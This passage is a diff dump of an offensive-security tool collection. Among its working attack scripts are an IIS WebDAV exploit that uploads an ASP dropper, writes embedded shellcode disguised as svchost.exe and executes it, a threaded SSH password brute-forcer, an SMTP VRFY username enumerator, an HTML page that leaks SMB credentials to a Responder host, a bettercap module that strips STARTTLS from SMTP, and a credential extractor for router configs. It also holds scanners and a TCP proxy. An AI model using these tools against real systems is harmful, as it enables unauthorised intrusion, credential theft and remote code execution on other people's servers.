packetNum = 0
while True:
packetPrint = ''
packetNum += 1
packet = sniffer.recvfrom((1 << 16) - 1)[0]
# Create an IP header from the first 20 bytes of the buffer.
ipHeader = IP(packet[0 : ctypes.sizeof(IP)])
timeNow = datetime.now().strftime('%H:%M:%S.%f')[:-3]
# Print out the protocol that was detected and the hosts.
packetPrint += '[{:05} | {}] {} {} > {}'.format(
packetNum, timeNow, ipHeader.protocol, ipHeader.src_address, ipHeader.dst_address,
)
if ipHeader.protocol == 'ICMP':
offset = ipHeader.ihl * 4
icmpBuf = packet[offset : offset + ctypes.sizeof(ICMP)]
icmpHeader = ICMP(icmpBuf)
packetPrint += ': ICMP Type: {} ({}), Code: {}\n'.format(
icmpHeader.type, icmpHeader.message, icmpHeader.code
)
if DEBUG:
packetPrint += hexdump(packet)
# Destination unreachable
if icmpHeader.code == 3 and icmpHeader.type == 3:
if IPAddress(ipHeader.src_address) in IPNetwork(subnet):
# Make sure it contains our message
if packet[- len(MAGIC_MESSAGE):] == MAGIC_MESSAGE:
host = ipHeader.src_address
if host not in HOSTS_UP:
print('[+] HOST IS UP: {}'.format(host))
HOSTS_UP.add(host)
if DEBUG:
print(packetPrint)
except KeyboardInterrupt:
return
def hexdump(src, length = 16):
result = []
digits = 4 if isinstance(src, unicode) else 2
num = len(src)
for i in range(0, num, length):
s = src[i:i+length]
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
return '\n'.join(result)
def main(argv):
global BIND
if len(argv) < 3:
print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
sys.exit(1)
bindAddr = sys.argv[1]
subnet = sys.argv[2]
sockProto = None
if os.name == 'nt':
sockProto = socket.IPPROTO_IP
else:
sockProto = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
sniffer.bind((bindAddr, 0))
# Include IP headers in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# In Windows, set up promiscous mode.
if os.name == 'nt':
try:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
except socket.error, e:
print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))
# Sending thread
threading.Thread(target=udpSend, args=(subnet, MAGIC_MESSAGE)).start()
# Receiving thread
recvThread = threading.Thread(target=processPackets, args=(sniffer, subnet))
recvThread.daemon = True
recvThread.start()
time.sleep(15)
if DEBUG: print('[.] Breaking response wait loop.')
# Turn off promiscous mode
if os.name == 'nt':
try:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
except socket.error, e:
pass
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,99 @@
#!/usr/bin/python
import requests
import string
import random
import sys
def randstring(N = 6):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: webdav_upload.py <host> <inputfile>'
sys.exit(0)
sc = ''
with open(sys.argv[2], 'rb') as f:
bytes = f.read()
sc = 'sc = Chr(%d)' % ord(bytes[0])
for i in range(1, len(bytes)):
if i % 100 == 0:
sc += '\r\nsc = sc'
sc += '&Chr(%d)' % ord(bytes[i])
put_request = '''<%% @language="VBScript" %%>
<%%
Sub webdav_upload()
Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Dim str
Dim tmp
Dim tmpexe
Dim sc
%(shellcode)s
Dim base
Set tmp = fs.GetSpecialFolder(2)
base = tmp & "\" & fs.GetTempName()
fs.CreateFolder(base)
tmpexe = base & "\" & "svchost.exe"
Set str = fs.CreateTextFile(tmpexe, 2, 0)
str.Write sc
str.Close
Dim shell
Set shell = CreateObject("Wscript.Shell")
shell.run tmpexe, 0, false
End Sub
webdav_upload
%%>''' % {'shellcode' : sc}
print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit'
print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)'
print '\tMariusz B. / mgeeky, 2016\n'
host = sys.argv[1]
if not host.startswith('http'):
host = 'http://' + host
outname = '/file' + randstring(6) + '.asp;.txt'
print 'Step 0: Checking if file already exist: "%s"' % (host + outname)
r = requests.get(host + outname)
if r.status_code == requests.codes.ok:
print 'Resource already exists. Exiting...'
sys.exit(1)
else:
print '[*] File does not exists. That\'s good.'
print '\nStep 1: Upload file with improper name: "%s"' % (host + outname)
print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request)
r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'})
if r.status_code < 200 or r.status_code >= 300:
print '[!] Upload failed. Status: ' + str(r.status_code)
sys.exit(1)
else:
print '[+] File uploaded.'
newname = outname.replace(';.txt', '')
print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname)
r = requests.request('move', host + outname, headers={'Destination':newname})
if r.status_code < 200 or r.status_code >= 300:
print '[!] Renaming operation failed. Status: ' + str(r.status_code)
sys.exit(1)
else:
print '[+] File renamed, splendid my lord.'
print '\nStep 3: Executing resulted payload file (%s).' % (host + newname)
r = requests.get(host + newname)
if r.status_code < 200 or r.status_code >= 300:
print '[!] Execution failed. Status: ' + str(r.status_code)
print '[!] Response: ' + r.text
sys.exit(1)
else:
print '[+] File has been launched. Game over.'

View File

@ -0,0 +1,362 @@
#!/usr/bin/python
#
# Script intendend to sweep Cisco, Huawei and possibly other network devices
# configuration files in order to extract plain and cipher passwords out of them.
#
# Mariusz B., mgeeky '18
#
import re
import os
import sys
import argparse
#
# In order to extend capabilities of this script, one can add custom entries
# to the below dictionary. Contents are:
# regexes = {
# 'Technology' : {
# 'Pattern Name' : r'pattern',
# }
# }
#
regexes = {
'Cisco' : {
'Enable secret' : r'enable secret \d+ \bcrypt',
'Privileged command level password' : r'password \password',
'Enable password' : r'enable password \password',
'Enable password(2)' : r'enable password level \d+ \password',
'Username/password' : r'username \name .*(?:password|secret \d) \password',
'HSRP Authentication string' : r'standby \d+ authentication \password',
'HSRP Authentication Text' : r'authentication text \password',
'HSRP Authentication MD5 key-string': r'standby \d+ authentication md5 key-string \keystring',
'OSPF Authentication string' : r'ip ospf authentication-key \password',
'OSPF Authentication MD5 string' : r'ip ospf message-digest-key \d+ md5 \password',
'EIGRP Key-string' : r'key-string \password',
'BGP Neighbor Authentication' : r'neighbor (\ip) password 7 \hash',
'AAA RADIUS Server Auth-Key' : r'server-private \ip auth-port \d+ acct-port \d+ key \d+ \hash',
'NTP Authentication MD5 Key' : r'ntp authentication-key \d+ md5 \password \d',
'TACACS-Server' : r'tacacs-server host \ip key \d \hash',
'RADIUS Server Key' : r'key 7 \hash',
'SNMP-Server User/Password' : r'snmp-server user \name [\w-]+ auth md5 0x\hash priv 0x\hash localizedkey',
'FTP Server Username' : r'ip ftp username \name',
'FTP Server Password' : r'ip ftp password \password',
},
'Cisco ASA' : {
'Username and Password' : r'username \name .*password \password',
'LDAP Login password' : r'ldap-login-password \password',
'SNMP-Server authentication' : r'snmp-server user \name snmp-read-only-group v\d engineID \hash encrypted auth md5 ([0-9a-fA-F\:]+) priv aes 256 ([0-9a-fA-F\:]+)',
},
'Huawei' : {
'VTY User interface' : r'set authentication password cipher \password',
'Local User' : r'local-user \name password (?:cipher|irreversible-cipher) \password',
'NTP Authentication' : r'ntp-service authentication-keyid \d+ authentication-mode (md5|hmac-sha256) (?:cipher)?\s*\password',
'RADIUS Server Shared-Key' : r'radius-server shared-key cipher \password',
'RADIUS Server Authorization' : r'radius-server authorization \ip shared-key cipher \password',
'TACACS-Server Shared-Key Cipher' : r'hwtacacs-server shared-key cipher \password',
'SNMP-Agent Authentication MD5' : r'snmp-agent [\w-]+ v\d \name authentication-mode md5 \password',
'SNMP-Agent Authentication AES' : r'snmp-agent [\w-]+ v\d \name privacy-mode aes128 \password',
},
'Checkpoint gateway' : {
'SNMP User' : r'add snmp usm user \name security-level \w+ auth-pass-phrase-hashed \hash privacy-pass-phrase-hashed \hash privacy-protocol DES',
'Expert Password Hash' : r'set expert-password-hash \bcrypt',
'TACACS Authentication Key' : r'add aaa tacacs-servers priority \d+ server \ip key \password',
'User password-hash' : r'set user \name password-hash \bcrypt',
},
'F5 BIG-IP' : {
'Username and password' : r'manage user table create \name -pw \password',
'Configuration Sync Password' : r'redundancy config-sync sync-session-password set \password',
},
'PaloAlto Proxy' : {
'Active Directory Auth password' : r'<bind-password>([^<]+)</bind-password>',
'NTLM Password' : r'<ntlm-password>([^<]+)</ntlm-password>',
'Agent User key' : r'<agent-user-override-key>([^<]+)</agent-user-override-key>',
'User Password Hash' : r'<phash>([^<]+)</phash>',
},
'Others' : {
'Other uncategorized password' : r'.* password \password.*',
'Other uncategorized XML password' : r'password>([^<]+)<',
'Other uncategorized authentication string' : r'.* authentication \password.*',
'Other hash-key related' : r'.* key \hash',
},
}
config = {
'verbose' : False,
'debug' : False,
'lines' : 0,
'output' : 'normal',
'csv_delimiter' : ';',
'no_others' : False,
}
markers = {
'name' : r'([\w-]+|\"[\w-]+\")',
'ip' : r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})',
'hash' : r'([a-fA-F0-9]{20,})',
'bcrypt' : r'([\$\w\.\/]+)',
'password': r'(?:\d\s+)?([^\s]+)',
'keystring': r'([a-f0-9]+)',
}
foundCreds = set()
maxTechnologyWidth = 0
maxRegexpWidth = 0
results = set()
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
Logger._out('[!] ' + x)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def processRegex(inputRegex):
for marker in markers:
if '\\' + marker in inputRegex:
inputRegex = inputRegex.replace('\\' + marker, markers[marker])
inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex)
return inputRegex
def matchLines(lines, technology):
global foundCreds
global results
num = 0
for rex in regexes[technology]:
for idx in range(len(lines)):
line = lines[idx].strip()
if line in foundCreds:
continue
processedRex = processRegex(regexes[technology][rex])
matched = re.match(processedRex, line, re.I)
if matched:
num += 1
foundCreds.add(line)
creds = '", "'.join(matched.groups(1))
results.add((
technology, rex, creds
))
Logger._out('[+] {}: {}: {}'.format(
technology, rex, creds
))
if idx - config['lines'] >= 0:
for i in range(idx - config['lines'], idx):
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
if config['lines'] != 0:
Logger._out('[{:04}]==>\t{}'.format(idx, line))
else:
Logger._out('[{:04}]\t\t{}'.format(idx, line))
if idx + 1 + config['lines'] < len(lines):
for i in range(idx + 1, idx + config['lines'] + 1):
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
Logger.dbg('\tRegex used: [ {} ]'.format(processedRex))
return num
def processFile(file):
lines = []
Logger.info('Processing file: "{}"'.format(file))
with open(file, 'r') as f:
lines = [ line.strip() for line in f.readlines()]
num = 0
for technology in regexes:
if technology == 'Others':
continue
num0 = matchLines(lines, technology)
num += num0
if not config['no_others']:
num0 = matchLines(lines, 'Others')
if num0 == 0:
print('<none>')
num += num0
return num
def processDir(dirname):
num = 0
for filename in os.listdir(dirname):
newfilename = os.path.join(dirname, filename)
if os.path.isdir(newfilename):
num += processDir(newfilename)
elif os.path.isfile(newfilename):
num += processFile(newfilename)
return num
def parseOptions(argv):
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
parser.add_argument('file', metavar='<file>', type=str, help='Config file or directory to process.')
parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.')
parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'")
parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
if len(argv) < 2:
parser.print_help()
return False
args = parser.parse_args()
config['verbose'] = args.verbose
config['debug'] = args.debug
config['lines'] = args.lines
config['no_others'] = args.no_others
if args.format == 'raw':
config['output'] = 'raw'
elif args.format == 'tabular':
config['output'] = 'tabular'
elif args.format == 'csv':
config['output'] = 'csv'
else:
config['output'] == 'normal'
return args
def printResults():
global maxTechnologyWidth
global maxRegexpWidth
# CSV Columns
cols = ['technology', 'name', 'hashes']
def _print(technology, rex, creds):
if config['output'] == 'tabular':
print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format(
technology, rex, creds,
width1 = maxTechnologyWidth, width2 = maxRegexpWidth
))
elif config['output'] == 'raw':
credstab = creds.split('", "')
longest = ''
for passwd in credstab:
if len(passwd) > len(longest):
longest = passwd
print('{}'.format(
passwd
))
elif config['output'] == 'csv':
creds = '"{}"'.format(creds)
rex = rex.replace(config['csv_delimiter'], ' ')
#creds = creds.replace(config['csv_delimiter'], ' ')
print(config['csv_delimiter'].join([technology, rex, creds]))
else:
print('[+] {}: {}: "{}"'.format(
technology, rex, creds
))
maxTechnologyWidth = 0
maxRegexpWidth = 0
for result in results:
technology, rex, creds = result
if len(technology) > maxTechnologyWidth:
maxTechnologyWidth = len(technology)
if len(regexes[technology][rex]) > maxRegexpWidth:
maxRegexpWidth = len(regexes[technology][rex])
maxTechnologyWidth = maxTechnologyWidth + 3
maxRegexpWidth = maxRegexpWidth + 3
if config['output'] == 'normal' or config['output'] == 'tabular':
print('\n=== CREDENTIALS FOUND:')
elif config['output'] == 'csv':
print(config['csv_delimiter'].join(cols))
for result in results:
technology, rex, creds = result
if technology == 'Others': continue
_print(technology, rex, creds)
if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'):
print('\n=== BELOW LINES MAY BE FALSE POSITIVES:')
for result in results:
technology, rex, creds = result
if technology != 'Others': continue
_print(technology, rex, creds)
def main(argv):
Logger._out('''
:: Network-configuration Credentials extraction script
Mariusz B. / mgeeky, '18
''')
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
count = 0
for technology in regexes:
count += len(regexes[technology])
Logger.info('Capable of matching: {} patterns containing credentials.'.format(count))
num = 0
if os.path.isfile(opts.file):
num = processFile(opts.file)
elif os.path.isdir(opts.file):
num = processDir(opts.file)
else:
Logger.err('Please provide either file or directory on input.')
return False
printResults()
if config['output'] == 'normal' or config['output'] == 'tabular':
print('\n[>] Found: {} credentials.'.format(num))
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,37 @@
#!/bin/bash
#
# Simple script converting nmap's greppable output into a
# printable per-host table with protocol, port, state and service
# columns in it.
#
#
# WARNING:
# This script looks for gnmap (-oG) files within
# current working directory (cwd)
#
for host in $(find -name "*.gnmap" | sort -t'.' -n -k5)
do
if cat $host | grep -q "Status: Up" && cat $host | grep -q "Ports:"; then
hostip=$(grep Ports $host | cut -d' ' -f2)
ports=$(cat ${hostip}*.gnmap | grep Ports | cut -d: -f3 | sed 's:/, :\n:g' | awk '{$1=$1}1')
IFS=$'\n'
echo -e "\n\nHost: $hostip\n"
echo -e "Proto\t| Port\t| State\t\t| Service"
echo -e "----------------------------------------------------"
for port in $ports
do
proto=$(echo $port | cut -d/ -f3)
portnum=$(echo $port | cut -d/ -f1)
state=$(echo $port | cut -d/ -f2)
service=$(echo $port | cut -d/ -f5)
printf "%s\t| %-5s\t| %-13s\t| %s\n" $proto $portnum $state $service
done | sort -u -k3,3 -n
fi
done

39
networks/pingsweep.py Normal file
View File

@ -0,0 +1,39 @@
#!/usr/bin/python
import sys
import netaddr
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import sr1, IP, ICMP
PING_TIMEOUT = 3
IFACE='eth0'
if __name__ == '__main__':
print '\tQuick Ping Sweep\n'
if len(sys.argv) != 2:
print '[?] Usage: pingsweep <network>'
sys.exit(0)
net = sys.argv[1]
print 'Input network:', net
responding = []
network = netaddr.IPNetwork(net)
for ip in network:
if ip == network.network or ip == network.broadcast:
continue
# Send & wait for response for the ICMP Echo Request packet
reply = sr1( IP(dst=str(ip)) / ICMP(), timeout=PING_TIMEOUT, iface=IFACE, verbose=0 )
if not reply:
continue
if int(reply.getlayer(ICMP).type) == 0 and int(reply.getlayer(ICMP).code) == 0:
print ip, ': Host is responding to ICMP Echo Requests.'
responding.append(ip)
print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding))

View File

@ -0,0 +1,6 @@
<!-- PoC for leaking SMB Credentials with listening Responder -->
<!-- as presented by X41 D-Sec GmbH in Browser Security White Paper. -->
<!-- To be used as: $ `responder -I eth0 -w -r f -v` -->
<body onmousemove="document.getElementById(6).click()">
<a id=6 href="\\192.168.56.101\edgeleak" download></a>
</body>

42
networks/smtpdowngrade.rb Normal file
View File

@ -0,0 +1,42 @@
=begin
Author : @mgeeky
Email : mb@binary-offensive.com
This project is released under the GPL 3 license.
=end
class SMTPDowngrade < BetterCap::Proxy::TCP::Module
meta(
'Name' => 'SMTPDowngrade',
'Description' => 'Downgrades SMTP encryption by returning deny to STARTTLS request.',
'Version' => '1.0.0',
'Author' => 'mgeeky - mb@binary-offensive.com - https://github.com/mgeeky',
'License' => 'GPL3'
)
def on_response(event)
if @respondwith != nil
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Lying that SMTP server does not support SSL/TLS."
event.data = @respondwith
@respondwith = nil
end
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
end
def on_data(event)
@respondwith = smtp_parse_request(event)
end
def smtp_parse_request(event)
return nil if not event.data
if event.data =~ /^STARTTLS\s*\r\n/
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
@respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
event.data = "HELP\r\n"
end
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
end
end

98
networks/smtpvrfy.py Normal file
View File

@ -0,0 +1,98 @@
#!/usr/bin/python
#
# Simple script intended to abuse SMTP server's VRFY command to leak
# usernames having accounts registered within it.
#
# Mariusz B., 2016
#
import socket
import sys
import os
# Specify below your default, fallback wordlist
DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
DEFAULT_TIMEOUT = 20
def interpret_smtp_status_code(resp):
code = int(resp.split(' ')[0])
messages = {
250:'Requested mail action okay, completed',
251:'User not local; will forward to <forward-path>',
252:'Cannot VRFY user, but will accept message and attempt delivery',
502:'Command not implemented',
530:'Access denied (???a Sendmailism)',
550:'Requested action not taken: mailbox unavailable',
551:'User not local; please try <forward-path>',
}
if code in messages.keys():
return '({} {})'.format(code, messages[code])
else:
return '({} code unknown)'.format(code)
def vrfy(server, username, port, timeout, brute=False):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
conn = s.connect((server, port))
except socket.error, e:
print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
return False
try:
print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
s.send('HELO test@test.com\r\n')
print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
except socket.error, e:
print '[!] Failed at initial session setup: "{}"'.format(str(e))
return False
if brute:
print '[?] Engaging brute-force enumeration...'
if brute:
for i in range(len(username)):
user = username[i]
s.send('VRFY ' + user + '\r\n')
res = s.recv(1024).strip()
print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
i, len(username), server, port, user, interpret_smtp_status_code(res))
else:
s.send('VRFY ' + username + '\r\n')
res = s.recv(1024).strip()
print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
if 'User unknown' in res:
print '[!] User not found.'
elif (res.startswith('25') and username in res and '<' in res and '>' in res):
print '[+] User found: "{}"'.format(res.strip())
else:
print '[?] Response: "{}"'.format(res.strip())
s.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
print '\t(to specify a port provide it after a colon \':\' in server parameter)'
sys.exit(0)
server = sys.argv[1]
port = 25 if ':' not in server else int(server[server.find(':')+1:])
username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
if os.path.isfile(username):
names = []
with open(username, 'r') as f:
for a in f:
names.append(a.strip())
print '[>] Provided wordlist file with {} entries.'.format(len(names))
vrfy(server, names, port, timeout, brute=True)
else:
vrfy(server, username, port, timeout)

74
networks/sshbrute.py Normal file
View File

@ -0,0 +1,74 @@
#
# Pxssh driven SSH brute-forcing script.
# Based on:
# Violent Python, by TJ O'Connor
#
import pxssh
import time
import optparse
from sys import argv, exit, stdout
from threading import *
MAX_CONNS = 5
CONN_LOCK = BoundedSemaphore(value=MAX_CONNS)
FOUND = False
FAILS = 0
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password, release):
global FOUND
global FAILS
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '\n\n[+] Password found: ' + password + '\n\n'
FOUND = True
return s
except Exception, e:
if 'read_nonblocking' in str(e):
FAILS += 1
time.sleep(3)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
CONN_LOCK.release()
def main():
if len(argv) < 4:
print 'Usage: sshbrute.py host user passwords_list'
return
host = argv[1]
user = argv[2]
passwords = [ p.strip() for p in open(argv[3]).readlines()]
i = 0
for p in passwords:
i += 1
if FOUND:
print '[*] Password found.'
exit(0)
if FAILS > 5:
print '[!] Exiting: Too many socket timeouts'
exit(0)
CONN_LOCK.acquire()
stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \
(p, i, len(passwords), float(i)/len(passwords)))
stdout.flush()
t = Thread(target=connect, args=(host, user, p, True))
t.start()
stdout.write('\n')
if __name__ == '__main__':
main()

264
networks/tcpproxy.py Normal file
View File

@ -0,0 +1,264 @@
#!/usr/bin/python
import sys
import socket
import argparse
import threading
config = {
'debug': False,
'verbose': False,
'timeout' : 5.0,
}
# =========================================================
# CUSTOM ANALYSIS, FUZZING, INTERCEPTION ROUTINES.
def requestHandler(buff):
'''
Modify any requests destined for the REMOTE host service.
'''
return buff
def responseHandler(buff):
'''
Modify any responses destined for the LOCAL host service.
'''
return buff
# =========================================================
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stderr.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stderr.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x, fatal = False):
Logger._out('[!] ' + x)
if fatal: sys.exit(-1)
@staticmethod
def fail(x, fatal = False):
Logger._out('[-] ' + x)
if fatal: sys.exit(-1)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def hexdump(src, length = 16):
result = []
digits = 4 if isinstance(src, unicode) else 2
num = len(src)
for i in range(0, num, length):
s = src[i:i+length]
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
return str(b'\n'.join(result))
def recvFrom(sock):
'''
Simple recvAll based on timeout exception.
'''
buff = ''
sock.settimeout(config['timeout'])
try:
while True:
data = sock.recv(4096)
if not data: break
buff += data
except:
pass
return buff
def proxyHandler(clientSock, remoteHost, remotePort, recvFirst):
Logger.dbg('Connecting to REMOTE service: {}:{}'.format(remoteHost, remotePort))
try:
remoteSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remoteSock.settimeout(config['timeout'])
remoteSock.connect((remoteHost, remotePort))
Logger.dbg('Connected.')
except Exception as e:
Logger.err('TCP Proxy was unable to connect to REMOTE service: {}:{}'.format(
remoteHost, remotePort), fatal = True
)
if recvFirst:
remoteBuff = recvFrom(remoteSock)
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
Logger.dbg('Remote service Recv buff BEFORE responseHandler:\n' + hexdump(remoteBuff))
remoteBuffOrig = remoteBuff
remoteBuff = responseHandler(remoteBuff)
if remoteBuff != remoteBuffOrig:
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
len(remoteBuffOrig, remoteBuff)))
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
if len(remoteBuff):
Logger.info('[<==] Sending {} bytes to LOCAL service.'.format(len(remoteBuff)))
clientSock.send(remoteBuff)
# Send & Receive / Proxy loop
while True:
# LOCAL part
localBuff = recvFrom(clientSock)
if len(localBuff):
Logger.info('[==>] Received {} bytes from LOCAL service.'.format(len(localBuff)))
Logger.dbg('Local service Recv buff:\n' + hexdump(localBuff))
localBuffOrig = localBuff
localBuff = requestHandler(localBuff)
if localBuff != localBuffOrig:
Logger.dbg('Buffer to be sent to REMOTE service modified. Lengths: {} -> {}'.format(
len(localBuffOrig, localBuff)))
Logger.dbg('Local service Recv buff AFTER requestHandler:\n' + hexdump(localBuff))
remoteSock.send(localBuff)
Logger.info('[==>] Sent to REMOTE service.')
# REMOTE part
remoteBuff = recvFrom(remoteSock)
if len(remoteBuff):
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
Logger.dbg('Remote service Recv buff:\n' + hexdump(remoteBuff))
remoteBuffOrig = remoteBuff
remoteBuff = responseHandler(remoteBuff)
if remoteBuff != remoteBuffOrig:
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
len(remoteBuffOrig, remoteBuff)))
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
clientSock.send(remoteBuff)
Logger.info('[<==] Sent to LOCAL service.')
if not len(localBuff) or not len(remoteBuff):
clientSock.close()
remoteSock.close()
Logger.info('No more data. Closing connections.')
break
def serverLoop(localHost, localPort, remoteHost, remotePort, receiveFirst):
serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
serv.bind((localHost, localPort))
Logger.ok('TCP Proxy listening on: {}:{}'.format(localHost, localPort))
serv.listen(5)
except Exception as e:
Logger.err('TCP Proxy server was unable to bound to {}:{}'.format(localHost, localPort), fatal = True)
while True:
clientSock, addr = serv.accept()
Logger.info('[==>] Received incoming connection from: {}:{}'.format(addr[0], addr[1]))
proxyThread = threading.Thread(
target = proxyHandler,
args = (
clientSock,
remoteHost,
remotePort,
receiveFirst
)
)
proxyThread.start()
def processOpts(argv):
global config
usageStr = '''
tcpproxy.py [options] <LOCAL> <REMOTE>
Example:
tcpproxy.py 127.0.0.1:9000 192.168.56.102:9000
'''
parser = argparse.ArgumentParser(prog = argv[0], usage = usageStr)
parser.add_argument('localhost', metavar='LOCAL', type=str,
help = 'Local service to proxy (host:port)')
parser.add_argument('remotehost', metavar='REMOTE', type=str,
help = 'Remote service to proxy to (host:port)')
parser.add_argument('-r', '--recvfirst', dest='recvfirst', action='store_true', default = False,
help='Make the proxy first receive something, than respond.')
parser.add_argument('-t', '--timeout', metavar='timeout', dest='timeout', default = config['timeout'],
help='Specifies service connect & I/O timeout. Default: {}.'.format(config['timeout']))
parser.add_argument('-v', '--verbose', dest='verbose', action='store_true',
help='Show verbose output.')
parser.add_argument('-d', '--debug', dest='debug', action='store_true',
help='Show more verbose, debugging output.')
if len(sys.argv[1:]) < 2:
parser.print_help()
sys.exit(0)
args = parser.parse_args()
if args.debug:
config['debug'] = args.debug
if args.verbose:
config['verbose'] = args.verbose
config['timeout'] = float(args.timeout)
Logger.dbg('Timeout set to: {} seconds.'.format(args.timeout))
return (args.localhost, args.remotehost, args.recvfirst)
def main():
local, remote, recvfirst = processOpts(sys.argv)
localHost, localPort = local.split(':')
remoteHost, remotePort = remote.split(':')
try:
localPort = int(localPort)
if localPort < 0 or localPort > 65535:
raise ValueError
except ValueError:
Logger.err('Invalid LOCAL port specified.', fatal = True)
try:
remotePort = int(remotePort)
if remotePort < 0 or remotePort > 65535:
raise ValueError
except ValueError:
Logger.err('Invalid LOCAL port specified.', fatal = True)
Logger.info('Proxying: {}:{} => {}:{}'.format(
localHost, localPort, remoteHost, remotePort
))
serverLoop(localHost, localPort, remoteHost, remotePort, recvfirst)
if __name__ == '__main__':
main()